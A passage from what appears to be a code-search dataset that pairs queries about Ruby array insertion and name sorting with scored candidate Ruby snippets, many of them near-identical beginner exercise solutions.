"99a608ac5478592e9163d99652038e13", "score": "0.49174926", "text": "def _handle_action_missing(*args); end", "title": "" }, { "docid": "9e264985e628b89f1f39d574fdd7b881", "score": "0.49173003", "text": "def duas1(action)\n action.call\n action.call\nend", "title": "" }, { "docid": "399ad686f5f38385ff4783b91259dbd7", "score": "0.49171105", "text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "title": "" }, { "docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a", "score": "0.4915879", "text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "title": "" }, { "docid": "6e0842ade69d031131bf72e9d2a8c389", "score": "0.49155936", "text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "title": "" } ]
98e1559333ea8d8a7e6958511c022a41
inserts element into a specific index of array
[ { "docid": "6d839f37cd6976e3c358a6d05b52ac88", "score": "0.7986566", "text": "def using_insert(array, element)\n array.insert(4, element)\nend", "title": "" } ]
[ { "docid": "1efdf10d9605729f5286105ecd969fdd", "score": "0.8251038", "text": "def using_insert (array,element)\n\tind=4\n\tarray.insert(ind,element)\nend", "title": "" }, { "docid": "fcfddb5f50e843daffbf0ed654edf5c5", "score": "0.8215629", "text": "def insert_after_index(array, index, value)\n array.insert(index+=1, value)\n end", "title": "" }, { "docid": "061f0b2efd4220ab2af901744cd9b7fc", "score": "0.79998296", "text": "def using_insert(array, element)\n array.insert(4, element)\nend", "title": "" }, { "docid": "061f0b2efd4220ab2af901744cd9b7fc", "score": "0.79998296", "text": "def using_insert(array, element)\n array.insert(4, element)\nend", "title": "" }, { "docid": "061f0b2efd4220ab2af901744cd9b7fc", "score": "0.79998296", "text": "def using_insert(array, element)\n array.insert(4, element)\nend", "title": "" }, { "docid": "061f0b2efd4220ab2af901744cd9b7fc", "score": "0.79998296", "text": "def using_insert(array, element)\n array.insert(4, element)\nend", "title": "" }, { "docid": "061f0b2efd4220ab2af901744cd9b7fc", "score": "0.79998296", "text": "def using_insert(array, element)\n array.insert(4, element)\nend", "title": "" }, { "docid": "061f0b2efd4220ab2af901744cd9b7fc", "score": "0.79998296", "text": "def using_insert(array, element)\n array.insert(4, element)\nend", "title": "" }, { "docid": "061f0b2efd4220ab2af901744cd9b7fc", "score": "0.79998296", "text": "def using_insert(array, element)\n array.insert(4, element)\nend", "title": "" }, { "docid": "061f0b2efd4220ab2af901744cd9b7fc", "score": "0.79998296", "text": "def using_insert(array, element)\n array.insert(4, element)\nend", "title": "" }, { "docid": "3cf44a65004a4b228373ea4ee94303a0", "score": "0.7983567", "text": "def using_insert(array, element)\n array.insert(4, element) \nend", "title": "" }, { "docid": "0f9f84db9ae6d48ce23e52fabbf66de3", "score": "0.79756397", "text": "def using_insert(array, element)\n array.insert(4,element)\nend", "title": "" }, { "docid": "3476f5bc60ae460b7a53c002b8ec297e", "score": "0.7965805", "text": "def using_insert(array, element)\n array.insert(4,element)\nend", "title": "" }, { "docid": "09afe0cfb2692832aa43f178962ff98a", "score": "0.7949697", "text": "def using_insert(array, element, i = 4)\n array.insert(i, element)\nend", "title": "" }, { "docid": "db47f48bc4c7e6a8872b74cd9c97895f", "score": "0.79342073", "text": "def using_insert(array,element)\n array.insert(4,element)\nend", "title": "" }, { "docid": "db47f48bc4c7e6a8872b74cd9c97895f", "score": "0.79342073", "text": "def using_insert(array,element)\n array.insert(4,element)\nend", "title": "" }, { "docid": "55a01095fed60e672d28bac958d02586", "score": "0.79203284", "text": "def using_insert(array,element)\n array.insert(4, element)\nend", "title": "" }, { "docid": "88c0bd1c6edf55269c56a13938df9bf4", "score": "0.78915477", "text": "def using_insert(array,ele)\n array.insert(4,ele)\nend", "title": "" }, { "docid": "9884587bf22dbe375422dac018276402", "score": "0.78765464", "text": "def using_insert(array, new_element)\n array.insert(4,new_element)\nend", "title": "" }, { "docid": "5b17b7382b35db0f6e28d21e5eccf525", "score": "0.7871353", "text": "def index_arr_add(arr, index, element)\n # Add `element` at position `index` to the Array variable `arr` and return `arr`\n arr.insert(index, element)\nend", "title": "" }, { "docid": "d39287a6ae4a3e9af10c7810c33c04be", "score": "0.7842737", "text": "def incluir_em_array_indice(arr, ind, item)\n arr.insert(ind, item)\n end", "title": "" }, { "docid": "9fc109226f3b4e889451156b9243d01a", "score": "0.7841668", "text": "def using_insert(array, newelem)\n array.insert(4,newelem)\nend", "title": "" }, { "docid": "feab02bfad486b45c0af051d8b49a6ca", "score": "0.7829328", "text": "def using_insert(array, new_el)\n array.insert(4, new_el)\nend", "title": "" }, { "docid": "b3dc13d89d11bff3a21cbe00920db2b3", "score": "0.7811123", "text": "def using_insert(array,newElement)\n array.insert(4,newElement)\nend", "title": "" }, { "docid": "71c9084bf0dd8e4630fddeb98eeb64a6", "score": "0.7801889", "text": "def using_insert(array, element)\n return array.insert(4, element)\nend", "title": "" }, { "docid": "90d65160612a92333190fe97f8d72e40", "score": "0.7796968", "text": "def using_insert(array,new_element)\n array.insert(4, new_element)\nend", "title": "" }, { "docid": "4017db4ef1d4cf178852a2a4f35ba264", "score": "0.7792301", "text": "def insert(index, value)\n if index <= @arr.length\n newArr = []\n (@arr.size + 1).times do |i|\n if i < index\n newArr.push(@arr[i])\n elsif i == index\n newArr.push(value)\n else\n newArr.push(@arr[i - 1])\n end\n end \n end\n @arr = newArr\n end", "title": "" }, { "docid": "538e31aa6d0f2b552bc07a0c90163598", "score": "0.76785535", "text": "def insert_at arr, idx, val\n if arr.empty?\n arr = Array.new(idx + 1)\n arr[idx] = val\n p arr\n return arr\n end\n if idx < 0\n puts \"Index must be positive value.\"\n return false\n end\n i = arr.count\n arr[i] = nil\n while i > idx do\n arr[i] = arr[i - 1]\n i -= 1\n end\n arr[i] = val\n p arr\n return arr\nend", "title": "" }, { "docid": "261751b0a2f1834032a89d469bdaea8d", "score": "0.76415354", "text": "def add_element_to_beginning_of_array(array, element)\nend", "title": "" }, { "docid": "261751b0a2f1834032a89d469bdaea8d", "score": "0.76415354", "text": "def add_element_to_beginning_of_array(array, element)\nend", "title": "" }, { "docid": "51ea02d9e382bf76a980fcc1fe8634da", "score": "0.7624205", "text": "def update_element_from_index(array, index_number, element)\n array[index_number]=element\n\nend", "title": "" }, { "docid": "22820bb5287d39367d919acac265cf91", "score": "0.76005995", "text": "def add_at_index(index, val)\n @array.insert(index, val)\n end", "title": "" }, { "docid": "e0fe9e67119fa6421eb2f374c3c2f306", "score": "0.7597718", "text": "def undecorated_insert( index, *objects )\n \n return @internal_array.insert( index, *objects )\n \n end", "title": "" }, { "docid": "1dcfdafd5a5e07051cf5ac5a13fbc7be", "score": "0.75677043", "text": "def using_insert(arr, elem)\n\narr.insert(4,elem)\nend", "title": "" }, { "docid": "59174cac7e42afcc0db2013d4a0f9087", "score": "0.75659025", "text": "def insert_at(data, index)\n end", "title": "" }, { "docid": "853a1a76ccbc2f000aad514fa5c3bf48", "score": "0.7525941", "text": "def insert(idx, obj)\n if idx < 0\n #FIXME: -idx does not work\n if 0 - idx > length\n STDERR.puts(\"IndexError: index #{idx} too small for array; minimum #{-length}\")\n exit(1)\n end\n idx = length + 1 + idx\n end\n\n pos = length\n # FIXME: This can be done much more efficiently\n # by dipping down and copying memory...\n prev = nil\n while pos > idx\n # FIXME: If you remove the spaces here it fails.\n prev = pos - 1\n self[pos] = self[prev]\n pos -= 1\n end\n\n self[idx] = obj\n\n self\n end", "title": "" }, { "docid": "4c96f34850e1d2c6e464be403a5528dd", "score": "0.74974835", "text": "def insert_at_index(index)\n self.insert_at(index + 1)\n end", "title": "" }, { "docid": "5d0e4f1cfa82dc1a1e08594eb7a22752", "score": "0.74345297", "text": "def replace(insert, *arr, position)\n\tarr[position] = insert\n\tarr\nend", "title": "" }, { "docid": "373c138acc96e20fe394dd550f088eba", "score": "0.74260163", "text": "def insert(index, element)\n\t\traise OutOfBoundsException if index >= @size\n\t\t@size += 1\n\t\[email protected](index, element)\n\tend", "title": "" }, { "docid": "f50b2cecc31095aef8cd65737f38fd1d", "score": "0.7350791", "text": "def insert(idx, *args)\n return self if args.length == 0\n idx = Type.coerce_to(idx, Fixnum, :to_int)\n idx += (size + 1) if idx < 0\n raise IndexError, \"#{idx} out of bounds\" if idx < 0\n self[idx, 0] = args\n self\n end", "title": "" }, { "docid": "9ce85c72dbaa7f0a3a0614b9370a4234", "score": "0.73419654", "text": "def add_element_to_start_of_array(array, element)\ncreate_an_array.unshift(\"wow\")\nend", "title": "" }, { "docid": "929c6beceadf20e8e773ef5c3982aeac", "score": "0.73344123", "text": "def insert(index, *args)\n `if(index<0){index+=this.length;if(index<0){throw('IndexError: out of range');};}`\n `while(this.length<index){this.push(nil);}`\n `this._replace(this.slice(0,index).concat(args).concat(this.slice(index,this.length)))`\n end", "title": "" }, { "docid": "22599873f585dcd998840d8f6d2f161f", "score": "0.72854465", "text": "def insert(idx, *items)\n return self if items.length == 0\n\n Rubinius.check_frozen\n\n # Adjust the index for correct insertion\n idx = Rubinius::Type.coerce_to idx, Fixnum, :to_int\n idx += (@total + 1) if idx < 0 # Negatives add AFTER the element\n raise IndexError, \"#{idx} out of bounds\" if idx < 0\n\n self[idx, 0] = items # Cheat\n self\n end", "title": "" }, { "docid": "ded1b26025acab46d1f521c5385d3da2", "score": "0.728358", "text": "def insert(idx, *items)\n return self if items.length == 0\n\n # Adjust the index for correct insertion\n idx = Type.coerce_to idx, Fixnum, :to_int\n idx += (@total + 1) if idx < 0 # Negatives add AFTER the element\n raise IndexError, \"#{idx} out of bounds\" if idx < 0\n\n self[idx, 0] = items # Cheat\n self\n end", "title": "" }, { "docid": "87c540ad3b929b2443da0cc8874f5cdd", "score": "0.7275096", "text": "def insert(index, value)\n end", "title": "" }, { "docid": "87c540ad3b929b2443da0cc8874f5cdd", "score": "0.7275096", "text": "def insert(index, value)\n end", "title": "" }, { "docid": "121c73588809aae0d6990ca6e9e74eba", "score": "0.71913296", "text": "def insert_at(pos, val)\n expand 1\n (pos...(size - 1)).reverse_each do |i|\n self[i + 1] = self[i]\n end\n self[pos] = val\n end", "title": "" }, { "docid": "2c94a8c02f2af4ed311f7c68c6dff28b", "score": "0.7185765", "text": "def add_film(array)\n array.insert(3, \"Film\")\nend", "title": "" }, { "docid": "0b1c6ea290557e6f1c14e26944219d05", "score": "0.71578056", "text": "def insert(x, arr)\nend", "title": "" }, { "docid": "996e3f9510b34949fd935bbd9b7199f9", "score": "0.7130113", "text": "def move(array, index, value)\n array[index.to_i] = value\nend", "title": "" }, { "docid": "4c134956611a3c1c7bb1960560a72b61", "score": "0.712795", "text": "def add_element_to_start_of_array(array, element)\n array.unshift (element)\nend", "title": "" }, { "docid": "1e51eb2949b88006b91be864ee04c2eb", "score": "0.71192664", "text": "def insert(index, *obj)\n @collection.mutate_in(@id, [\n MutateInSpec.array_insert(\"[#{index.to_i}]\", obj),\n ])\n self\n end", "title": "" }, { "docid": "26b8e62941e697b8782b3f6a49013907", "score": "0.70900726", "text": "def add_element_to_beginning_of_array(array, element)\n\tarray.unshift(element)\nend", "title": "" }, { "docid": "26b8e62941e697b8782b3f6a49013907", "score": "0.70900726", "text": "def add_element_to_beginning_of_array(array, element)\n\tarray.unshift(element)\nend", "title": "" }, { "docid": "a55657b74429769e66cea535bcfb142e", "score": "0.70837754", "text": "def add_element_to_start_of_array(array, element)\n array.unshift(element)\nend", "title": "" }, { "docid": "cf9875e1afdd8e19ab56cc8c60255cce", "score": "0.7073301", "text": "def move(array, index, token)\n array[index] = token\nend", "title": "" }, { "docid": "652a905c57c094a0d958c8c86f398283", "score": "0.7071138", "text": "def add_element_to_beginning_of_array(array, element)\n array.unshift(element)\nend", "title": "" }, { "docid": "652a905c57c094a0d958c8c86f398283", "score": "0.7070988", "text": "def add_element_to_beginning_of_array(array, element)\n array.unshift(element)\nend", "title": "" }, { "docid": "652a905c57c094a0d958c8c86f398283", "score": "0.7070988", "text": "def add_element_to_beginning_of_array(array, element)\n array.unshift(element)\nend", "title": "" }, { "docid": "652a905c57c094a0d958c8c86f398283", "score": "0.7070988", "text": "def add_element_to_beginning_of_array(array, element)\n array.unshift(element)\nend", "title": "" }, { "docid": "652a905c57c094a0d958c8c86f398283", "score": "0.7070988", "text": "def add_element_to_beginning_of_array(array, element)\n array.unshift(element)\nend", "title": "" }, { "docid": "652a905c57c094a0d958c8c86f398283", "score": "0.7070988", "text": "def add_element_to_beginning_of_array(array, element)\n array.unshift(element)\nend", "title": "" }, { "docid": "142c0ea18584ef5d7c60fec572721130", "score": "0.70559686", "text": "def add_element_to_start_of_array(array, element)\n array = [\"cat\", \"dog\", \"bird\", \"mouse\"]\n array.unshift (element)\nend", "title": "" }, { "docid": "076db9f2920bf7078814e0b39d90e734", "score": "0.7005603", "text": "def before_insert(index, element)\n @array_list.beforeInsert(index, element)\n end", "title": "" }, { "docid": "81306d62257b3b52b6dc97eccb8ae103", "score": "0.6967353", "text": "def insert(idx, *objs)\n `if (idx < 0) idx += self.length;\n\n if (idx < 0 || idx >= self.length)\n rb_raise(\"IndexError: out of range\");\n\n self.splice.apply(self, [idx, 0].concat(objs));\n return self;`\n end", "title": "" }, { "docid": "f13efda4454aed18a6746647255a3f1e", "score": "0.6961496", "text": "def replace_defined_element_of_user_array(array_from_user, replacement_element, index_to_replace)\n if index_to_replace <= (array_from_user.count - 1)\n array_from_user.slice!(index_to_replace)\n array_from_user.insert(index_to_replace, replacement_element)\n puts array_from_user\n return array_from_user\n else\n puts \"false\"\n end\nend", "title": "" }, { "docid": "9e504f9c2a7cc4ad8638eca280e04949", "score": "0.69583124", "text": "def subistituir_em_array(arr, ind, item)\n arr[ind] = item\n return puts \"Valores do array com substituição de item usando indice: #{arr}\" \n end", "title": "" }, { "docid": "35680bab8881418cf48276a83356ef3f", "score": "0.6946531", "text": "def set(index, element)\n index = index.to_i\n raise OutOfBoundsException unless valid_index?(index)\n @array[index] = element\n end", "title": "" }, { "docid": "f3b2b574f473cce98171c003ebcd7e96", "score": "0.6938478", "text": "def insert(index, value)\r\n # raises IndexOutOfBoundsException.new(index, @length) if the index is out of the correct bounds [0, @length), or if insert into the full array\r\n # raises BooleanExpectedException.new(value) if the value is not an instance of TrueClass or FalseClass\r\n # TODO\r\n end", "title": "" }, { "docid": "058e91a1e2482fb6184af4224077f6d1", "score": "0.6934919", "text": "def move(array, index, value)\n array[index] = value\nend", "title": "" }, { "docid": "058e91a1e2482fb6184af4224077f6d1", "score": "0.6934919", "text": "def move(array, index, value)\n array[index] = value\nend", "title": "" }, { "docid": "058e91a1e2482fb6184af4224077f6d1", "score": "0.6934919", "text": "def move(array, index, value)\n array[index] = value\nend", "title": "" }, { "docid": "63a0ed6f36e90103872ea424859be8b9", "score": "0.6922959", "text": "def insert(index, object)\n raise IndexOutOfBoundsException.new(index, @length) if (index < 0 || index > @length)\n if index < @length\n then\n insert_before(get_item(index),object)\n else\n self << object #put to the end\n end\n return self\nend", "title": "" }, { "docid": "e3a35c1e1ac151ccf0303e2859b5f122", "score": "0.6901263", "text": "def insertar(i, j, num)\n\t\tself[i,j] = num\n\tend", "title": "" }, { "docid": "403b2e2a912bf071d6e44e8facf4e30a", "score": "0.68960965", "text": "def test_Array_InstanceMethod_insert\n\t\ta = %w{ a b c d }\n\t\tassert_equal( ['a','b',99,'c','d'], a.insert(2, 99) )\n\t\tassert_equal( ['a','b',99,'c',1,2,3,'d'], a.insert(-2, 1,2,3) )\n\t\tassert_equal( ['a','b',99,'c',1,2,3,'d','e'], a.insert(-1, 'e') )\n\tend", "title": "" }, { "docid": "50a340b10d2e778c2610b74778fd9718", "score": "0.68911994", "text": "def add_s(array)\n i_1 = array.delete_at(1)\n #delete_at removes the element at given index and modifies the original array\n array.each_with_index.collect do |word, index|\n word << \"s\"\n end\n array.insert(1, i_1) #insert(index, item to be inserted)\nend", "title": "" }, { "docid": "27454f45882e730e32647f97c03afe36", "score": "0.68673974", "text": "def add_element_to_beginning_of_array(array, element)\n array.reverse.push(element).reverse\nend", "title": "" }, { "docid": "7dfd1028ca6e0d64de61128ec2345aa4", "score": "0.68661076", "text": "def sweet_array(array, new_mid_element, which_index)\n new_array = (array[which_index] = new_mid_element)\n return new_array\nend", "title": "" }, { "docid": "12aa1b32b1bdda81ffa2cc3c29694a58", "score": "0.6852266", "text": "def sorted_insert(arr, val)\n\tidx = find_idx(arr) { |e| yield val,e }\n\tidx = arr.length if idx == nil\n\tarr.insert(idx, val)\nend", "title": "" }, { "docid": "c27e3878f49081c60acd994f07b219c9", "score": "0.68463564", "text": "def insert_at(index, object)\n predicate = index_to_predicate(index)\n\n # add new object to ordered set\n self[predicate] << object\n end", "title": "" }, { "docid": "39e08e55e604d180fc7183ca2dc86b3b", "score": "0.6840198", "text": "def move(array, index, value=\"X\")\n array[index] = value\nend", "title": "" }, { "docid": "c24559c7b62ea2d955f6200e09ef1c81", "score": "0.6838365", "text": "def add_element_to_beginning_of_array(array, element)\n array.reverse!\n array << (element)\n array.reverse!\n return array\nend", "title": "" }, { "docid": "03ad5a1c5db4c31be24c3ca00ea074a5", "score": "0.6837588", "text": "def update_index element\n position = @values.index element\n @index << position\n end", "title": "" }, { "docid": "c55a48063d7556d5f80ff24589130e12", "score": "0.6821722", "text": "def together_insert(index, *args)\n if_not_contain_array_rails_type_error\n each { |list|list.insert(index, *args) }\n end", "title": "" }, { "docid": "6a1c5b27fb4520e1869172ca9fe6191e", "score": "0.67805576", "text": "def insert_at(points)\n for i in 0...points\n @multi_array[@points_array[i][0]][@points_array[i][1]] = 1 # insert 1 at specified position\n end\n end", "title": "" }, { "docid": "dc735df78ed734f17102a459bbb89bde", "score": "0.6773998", "text": "def insert_at(data, index)\n\t\ti = 0\n\t\tcurrent_node = @head\n\t\tcurrent_node = current_node.next until i == index\n\t\tcurrent_node.value = data\n\t\tcurrent_node.value\n\tend", "title": "" }, { "docid": "299bad809e83ae6b9e63bac5286c1647", "score": "0.6770036", "text": "def move(array,index, player)\n array[index] = player\nend", "title": "" }, { "docid": "d5fa0b4415be38553be6b2246a3eeb25", "score": "0.67692", "text": "def insert_at(index, value)\n return nil if index < 0 || index > @size - 1\n\n case index \n when 0 then prepend(value)\n when @size - 1 then append(value)\n\n else\n node = at(index - 1)\n new_node = Node.new\n new_node.value = value\n new_node.next_node = node.next_node\n node.next_node = new_node\n @size += 1\n update_index\n end\n end", "title": "" }, { "docid": "915b83c174c4900b93693faa4baca5c4", "score": "0.67681265", "text": "def insert(str, index)\n\t\t@data[index, 0] = str\n\tend", "title": "" }, { "docid": "c09df663f52df5830a134b1fcdbd0518", "score": "0.6767148", "text": "def insert_at(data, index)\n\t\tif index == 0\n\t\t\tprepend(data)\n\t\telsif index == size\n\t\t\tappend(data)\n\t\telse\n\t\t\tnode = Node.new(data)\n\t\t\tnode.next_node = at(index)\n\t\t\tat(index-1).next_node = node\t\n\t\tend\n\tend", "title": "" }, { "docid": "b5f18dac84a51d31d8a63294f951f21d", "score": "0.67667305", "text": "def insert_at(value, index)\n new_node = Node.new(value)\n @ary.insert(index, new_node)\n\n update_nodes\n end", "title": "" }, { "docid": "0bb2bb5dca11e071ac4268a670cb834d", "score": "0.6764821", "text": "def insert_at(position = 1)\n insert_at_position(position)\n end", "title": "" }, { "docid": "0bb2bb5dca11e071ac4268a670cb834d", "score": "0.6764821", "text": "def insert_at(position = 1)\n insert_at_position(position)\n end", "title": "" }, { "docid": "e80cef02a815431868a240fb984f2ff9", "score": "0.6761974", "text": "def add_to_array(current_arr, new_element)\n current_arr.each do |element|\n current_arr.unshift(new_element, element)\n end\nend", "title": "" }, { "docid": "a0e95e8ae9129c0752d7c4418b4df663", "score": "0.6745105", "text": "def add_index_to_each_elem(array)\n\ty = 0 \n while y < array.length\n mike = array[y].push(y)\n y += 1\n end\nend", "title": "" }, { "docid": "9c1891c780b5748a81104008d7aaed01", "score": "0.6729017", "text": "def move(array, index, value = \"X\")\n array[index] = value\nend", "title": "" }, { "docid": "53dbebb5726c347ee24efa26cdcea686", "score": "0.6711342", "text": "def insert(idx, node)\n end", "title": "" }, { "docid": "a1a2b7ae5ee182a09930e5e5f0b23fc2", "score": "0.67081565", "text": "def update_playlist(array)\n array.insert(2, \"Art Tutorial\")\n array\nend", "title": "" }, { "docid": "9e05a54fd38ddd938a48eda3659cf665", "score": "0.6698549", "text": "def concat element, index\n raise IndexError, 'Expected new unique index' if @index.include? index\n\n @index |= [index]\n @data[@index[index]] = element\n\n update_position_cache\n end", "title": "" } ]
1faa83bce164543b4d24c669bea5f9fb
used when someone wants to sort on name determines proper name to use based on type
[ { "docid": "af80f62b5c19ed45823ddd72165c0f37", "score": "0.58869976", "text": "def name_sort_value\n real_name = name(false) # no anonymous conversion\n if automatic? && real_name.blank?\n val = email\n else\n val = real_name\n end\n val\n end", "title": "" } ]
[ { "docid": "44adc5e982557b6ac186c24c6105355a", "score": "0.7041312", "text": "def get_best_name(name, type)\n slugs = find :all, :conditions => ['name LIKE ? AND sluggable_type = ?', \"#{name}%\", type.to_s], :select => \"name\"\n return name if slugs.size == 0\n slugs.reject! { |x| x.base != name }\n slugs.sort! { |x, y| x.extension <=> y.extension }\n slugs.empty? ? name : slugs.last.succ\n end", "title": "" }, { "docid": "14163a6b41d6fa5ee624af6432c25e0e", "score": "0.69857097", "text": "def preferred_name( type, name )\n $log.debug( \"In preferred_name; type #{type}, name #{name}\" )\n case type\n when \"first\"\n return name_first( name )\n when \"firstni\"\n return name_firstni( name )\n when \"all\"\n return name.split.join('_')\n else\n $log.fatal( \"Invalid name handling type #{type}; check the user config files.\" )\n exit 1\n end\nend", "title": "" }, { "docid": "8f96a727455064e9840a6ecceb9ed428", "score": "0.6973296", "text": "def sort_by_name\n @sortable.is_a?(TrueClass) ? name.to_s : @sortable.to_s\n end", "title": "" }, { "docid": "530e83723de11dff1525d3df0e30d51d", "score": "0.6763102", "text": "def sort_name\n ActiveSupport::Inflector.transliterate(name.downcase)\n end", "title": "" }, { "docid": "fe547da028dc5c2d244bc93f75a7e17b", "score": "0.6695889", "text": "def sort_name\n if self.name.include? \"k\"\n return \"0\" + self.name.last\n else\n return self.name\n end\n end", "title": "" }, { "docid": "032fa73897dd5a4f65d3c0769de6b38d", "score": "0.66236943", "text": "def sort_by_mname\n @car_coll.sort do |a, b| a.class.to_s <=> b.class.to_s end\n end", "title": "" }, { "docid": "6a8f43e38807e422e6279989f01da26e", "score": "0.66181946", "text": "def name_to_type(name)\n all.body.find { |_, type| type['name'].casecmp(name).zero? }.first\n end", "title": "" }, { "docid": "b6a05f45f5d46faff5d0b3eb8d0a7842", "score": "0.66052437", "text": "def type_name\n name_to_cast = case self.name\n when 'High Performance Transmission'\n 'High Performance Transmission'\n when 'Torque Converter &amp; HP Converter'\n 'Converter'\n when 'Transmission'\n 'Transmission'\n when 'Ring Gears'\n 'Ring Gear'\n when 'Allison&reg;'\n 'Allison'\n when 'Power Train Savers&reg;'\n 'Power Train Saver'\n when 'High Performance Torque Converter'\n 'High Performance Converter'\n when 'Driveline'\n 'Driveline'\n else\n self.name\n end\n \n type_name = name_to_cast.extend(Helper::String).to_type_name\n end", "title": "" }, { "docid": "f60ff262927e8ffbd90c119c28043eec", "score": "0.6549458", "text": "def name_type\n [name, type]\n end", "title": "" }, { "docid": "29f4b3739519d8bc11bfdd23ece244f5", "score": "0.65493906", "text": "def prepare_lookup(type, name)\n return type.to_sym, name.to_s\n end", "title": "" }, { "docid": "e675d392e6b9837e967bd85dff8b3424", "score": "0.652438", "text": "def sort_complex_types(types, type)\n types.sort_by { |hash| hash[type.to_sym].to_s.downcase }.uniq { |hash| hash[type.to_sym] } unless types.blank?\n end", "title": "" }, { "docid": "c2ab28b4aa76c1db5e1d08a2b99f7851", "score": "0.6509023", "text": "def type_name(type); end", "title": "" }, { "docid": "dbfc43cde63c2f9305fbfa9df9be9735", "score": "0.6493648", "text": "def getSortFieldFromString(val)\r\n case(val)\r\n when 'buyer.name'\r\n :buyer_sort\r\n when 'requester.department'\r\n :department_sort\r\n when 'requester.name'\r\n :requester_sort\r\n when 'vendor_string'\r\n :vendor_sort\r\n when 'dateRequested'\r\n :date_requested\r\n end\r\n end", "title": "" }, { "docid": "5df2337befd53db157724c6ef2eeef2a", "score": "0.6478028", "text": "def compute_type(type_name); end", "title": "" }, { "docid": "79333f52fe6a1928050969e104916e90", "score": "0.64703286", "text": "def translate_type(name)\n TRANSLATION_TYPES[name.to_s.downcase.to_sym] || name\n end", "title": "" }, { "docid": "da6fd8c26f9ff4292bca2c326e88a814", "score": "0.6436689", "text": "def sort_name\n return 'A' if name == 'Opening Monologue'\n return 'ZZZZZZZ' if name == 'Closing Monologue'\n return name\n end", "title": "" }, { "docid": "e59d5491776365e45c76d2440a6f7b2b", "score": "0.6391251", "text": "def assign_sort_name\n self.sort_name = name.sub /^(The|A|An)\\s/, ''\n end", "title": "" }, { "docid": "46008309552f448e23df4f813af61851", "score": "0.63901716", "text": "def name\n case(type)\n when /Index/, \"Bitmap Heap Scan\"\n \"#{type} #{index_name||relation_name} #{scan_direction if ! scan_direction == 'Forward'}\" #index_cond\n when \"Sort\"\n \"#{sort_method.titleize} #{sort_space_type} #{sort_space_used}k\"\n else\n \"#{type}\"\n end\n end", "title": "" }, { "docid": "e45279f417db5697fa2a71eee7963013", "score": "0.63850754", "text": "def type\n @type ||= name.parameterize.underscore\n end", "title": "" }, { "docid": "17410be784126ac13cbaf58dea6d2096", "score": "0.63108486", "text": "def type_name\n @type_name ||= name.split('::').last.downcase.to_s\n end", "title": "" }, { "docid": "d41ef3c18ee0a81b1b1f3e15d347e66d", "score": "0.63098156", "text": "def sort_name\n respond_to?(:A5EE13ABE03C4D3A8F1A274F57097B6C) ? self.A5EE13ABE03C4D3A8F1A274F57097B6C : ''\n end", "title": "" }, { "docid": "389e150d229d9798dc86ef11e1de231e", "score": "0.63069946", "text": "def sortable_name\n Person.sortable_name(self.public_name)\n end", "title": "" }, { "docid": "88f67ae0e9927aeebf9daba973557f8c", "score": "0.63055795", "text": "def get_list_name(type)\n case (type)\n when 'name'\n type = 'performances'\n when 'theatre'\n type = 'theatres'\n when 'type'\n type = 'p_types'\n else\n ;\n end\n\n type\n end", "title": "" }, { "docid": "6d9e97cb665d0ef653ef93e5b44bdcf4", "score": "0.6244156", "text": "def report_name(name_type)\n case name_type\n when \"common_name\"\n common_name\n else\n species_code\n end\n end", "title": "" }, { "docid": "960b11ea0bff42f72493245ebe64c9f0", "score": "0.62421757", "text": "def prepare_lookup(type, name)\n return prepare_type(type), prepare_name(name)\n end", "title": "" }, { "docid": "e7235e5278396bf2484e7dc4cdfa152b", "score": "0.6193664", "text": "def issuable_sort_string\n name_placeholder = respond_to?(:name) ? name : ''\n \"#{name_placeholder}#{designator} #{number}\"\n end", "title": "" }, { "docid": "a5abb054b5389eb933ee92ed683e9482", "score": "0.6183591", "text": "def alphabetize(pets)\n pets.sort! { |a, b| a[:name] <=> b[:name] }\n pets.each { |pet| puts \"#{pet[:name]} the #{pet[:type]}\" }\nend", "title": "" }, { "docid": "8850185c9f72c09d266f0e2374a1e3b1", "score": "0.61833113", "text": "def type_name(type)\n type.to_s.humanize capitalize: false\n end", "title": "" }, { "docid": "0d42cf6f993ebdcd52d2b9d4328e7510", "score": "0.6165327", "text": "def sort_by_name(collection)\n sort_by(collection, :name)\n end", "title": "" }, { "docid": "73f69386a9aeabaa666f637b31e2c22b", "score": "0.6160794", "text": "def type_name\n @type_name ||= StringHelpers.underscore(StringHelpers.demodulize(@value.class.name)).to_sym\n end", "title": "" }, { "docid": "bfe156424d32e8e0aa87beb68c9e2d83", "score": "0.61497223", "text": "def ordering_on_type type\n type_order_list.index(type) || 9999\n end", "title": "" }, { "docid": "c2f3ebb839a6284b65f4a253e270c6ee", "score": "0.6133106", "text": "def sort_by_type\n children.sort! do |x, y|\n if x.isa == 'PBXGroup' && !(y.isa == 'PBXGroup')\n -1\n elsif !(x.isa == 'PBXGroup') && y.isa == 'PBXGroup'\n 1\n elsif x.display_name && y.display_name\n extname_x = File.extname(x.display_name)\n extname_y = File.extname(y.display_name)\n if extname_x != extname_y\n extname_x <=> extname_y\n else\n File.basename(x.display_name, '.*') <=> File.basename(y.display_name, '.*')\n end\n else\n 0\n end\n end\n end", "title": "" }, { "docid": "819cf23a46a3c53ae9c2d3c2447234ad", "score": "0.6124125", "text": "def sort_tp_by_name\n @term_points.sort do |tp_a, tp_b|\n ret = tp_a.name.casecmp(tp_b.name)\n ret.zero? ? tp_a.name <=> tp_b.name : ret\n end\n end", "title": "" }, { "docid": "1b3ced4912a922d80f71594922c7f224", "score": "0.612048", "text": "def alternate_name_for(name)\n case name.to_s.downcase.singularize\n when 'place': 'id'\n when 'category': 'belongs_to'\n else name\n end\n end", "title": "" }, { "docid": "f7520f80cd3da05fe70ffd3235378083", "score": "0.61198545", "text": "def sort_collection(collection, type=\"alphabetical\", order=\"asc\")\n case type\n when \"alphabetical\"\n if order == \"asc\" \n return collection.sort {|a,b| a.downcase <=> b.downcase } \n end\n\n if order == \"desc\"\n return collection.sort {|a,b| b.downcase <=> a.downcase }\n end\n when \"date\"\n if order == \"asc\" \n return collection.sort {|a,b| a <=> b }\n end\n\n if order == \"desc\"\n return collection.sort {|a,b| b <=> a }\n end\n else\n return collection\n end\n end", "title": "" }, { "docid": "2b0e782498665362b9b7024cf83674c2", "score": "0.6117933", "text": "def name\n @name ||= type.split('.').last\n end", "title": "" }, { "docid": 